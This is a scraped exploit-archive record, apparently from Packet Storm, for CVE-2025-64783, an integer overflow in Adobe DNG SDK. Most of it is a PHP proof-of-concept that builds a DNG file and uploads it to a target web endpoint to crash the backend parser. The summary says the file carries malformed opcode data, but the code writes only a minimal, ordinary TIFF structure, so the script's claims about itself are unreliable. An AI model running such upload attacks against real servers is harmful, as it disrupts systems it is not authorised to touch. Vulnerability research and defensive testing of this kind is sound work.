{“lastseen”:”2025-12-22T18:24:35″,”description”:”Adobe DNG SDK versions 1.5 through 1.7.0 can have an integer overflow triggered via a web upload. If the backend processes the uploaded file with a vulnerable version of the DNG SDK, the malformed opcode data may result in an application crash or…”,”published”:”2025-12-22T00:00:00″,”modified”:”2025-12-22T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Adobe DNG SDK 1.5 Web Upload Integer Overflow”,”source”:””,”references”:””,”id”:”PACKETSTORM:213198″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-64783″],”sourceData”:”=============================================================================================================================================\\n | # Title : Adobe DNG SDK 1.5 Integer Overflow via Web Upload |\\n | # Author : indoushka |\\n | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 145.0.2 (64 bits) |\\n | # Vendor : https:\/\/helpx.adobe.com\/security\/products\/dng-sdk.html |\\n =============================================================================================================================================\\n \\n [+] References : https:\/\/packetstorm.news\/files\/id\/212923\/ \\u0026 \\tCVE-2025-64783\\n \\n [+] Summary : A proof-of-concept script demonstrates how a vulnerable web application that allows uploading Adobe DNG images can be abused to trigger an integer overflow in the Adobe DNG SDK (CVE-2025-64783).\\n The script uploads a crafted DNG file to a target web endpoint using a standard multipart\/form-data request. \\n \\t\\t\\t\\t If the backend processes the uploaded file with a vulnerable version of the DNG SDK (1.5 through 1.7.0), the malformed opcode data may result in an application crash or unexpected behavior.\\n This PoC is intended for vulnerability validation and defensive testing purposes only. No authentication bypass or privilege escalation is required beyond access to the upload functionality.\\n \\n \\n [+] POC : php poc.php\\n \\n \\u003c?php\\n \/*\\n * Safe DNG Upload Proof-of-Concept\\n * CVE-2025-64783 (Non-Weaponized)\\n * Educational use only\\n *\/\\n \\n \/* =========================\\n STEP 1: Create indoushka.dng\\n ========================= *\/\\n \\n $dngFile = \\”indoushka.dng\\”;\\n \\n \/* TIFF \/ DNG Header *\/\\n $dng = pack(\\”v\\”, 0x4949); \/\/ Little Endian\\n $dng .= pack(\\”v\\”, 42); \/\/ TIFF Magic\\n $dng .= pack(\\”V\\”, 8); \/\/ IFD Offset\\n \\n \/* IFD with minimal valid tags *\/\\n $ifd = pack(\\”v\\”, 3); \/\/ Number of entries\\n \\n \/\/ ImageWidth\\n $ifd .= pack(\\”vvVV\\”, 0x0100, 4, 1, 256);\\n \\n \/\/ ImageLength\\n $ifd .= pack(\\”vvVV\\”, 0x0101, 4, 1, 256);\\n \\n \/\/ Compression (Uncompressed)\\n $ifd .= pack(\\”vvVV\\”, 0x0103, 3, 1, 1);\\n \\n \/\/ End of IFD\\n $ifd .= pack(\\”V\\”, 0);\\n \\n \/* Dummy image data *\/\\n $imageData = str_repeat(\\”\\\\x00\\”, 256 * 256 * 3);\\n \\n \/* Write file *\/\\n file_put_contents($dngFile, $dng . $ifd . $imageData);\\n \\n echo \\”[+] By indoushka\\\\n\\”;\\n echo \\”[+] Safe DNG created: indoushka.dng\\\\n\\”;\\n \\n \\n \/* =========================\\n STEP 2: Upload indoushka.dng\\n ========================= *\/\\n \\n function indoushka_web_upload($target_url)\\n {\\n $uploadUrl = rtrim($target_url, \\”\/\\”) . \\”\/upload\\”;\\n \\n $postFields = [\\n ‘file’ =\\u003e new CURLFile(\\n realpath(\\”indoushka.dng\\”),\\n ‘image\/x-adobe-dng’,\\n ‘photo.dng’\\n )\\n ];\\n \\n $ch = curl_init();\\n curl_setopt($ch, CURLOPT_URL, $uploadUrl);\\n curl_setopt($ch, CURLOPT_POST, true);\\n curl_setopt($ch, CURLOPT_POSTFIELDS, $postFields);\\n curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\\n curl_setopt($ch, CURLOPT_HTTPHEADER, [\\n ‘User-Agent: Mozilla\/5.0’\\n ]);\\n \\n $response = curl_exec($ch);\\n $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);\\n curl_close($ch);\\n \\n if ($httpCode === 200) {\\n echo \\”[+] File uploaded successfully\\\\n\\”;\\n \\n if (stripos($response, \\”error\\”) !== false ||\\n stripos($response, \\”crash\\”) !== false) {\\n echo \\”[!] Application response indicates a parsing issue\\\\n\\”;\\n } else {\\n echo \\”[+] No visible error in server response\\\\n\\”;\\n }\\n } else {\\n echo \\”[-] Upload failed, HTTP status: $httpCode\\\\n\\”;\\n }\\n }\\n \\n \/* =========================\\n STEP 3: Execute\\n ========================= *\/\\n \\n indoushka_web_upload(\\”http:\/\/target-website.com\\”);\\n \\n \\n Greetings to :=====================================================================================\\n jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n ===================================================================================================”,”sourceHref”:”https:\/\/packetstorm.news\/download\/213198″,”cvss”:{“score”:7.8,”severity”:”HIGH”,”vector”:”CVSS:3.1\/AV:L\/AC:L\/PR:N\/UI:R\/S:U\/C:H\/I:H\/A:H”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/213198\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2025-12-22T18:24:35″,”description”:”Adobe DNG SDK versions 1.5 through 1.7.0 can have an integer overflow triggered via a web upload. If the backend processes the uploaded file with…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,28,12,15,13,53,7,11,5],"class_list":["post-32468","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-78","tag-exploit","tag-high","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n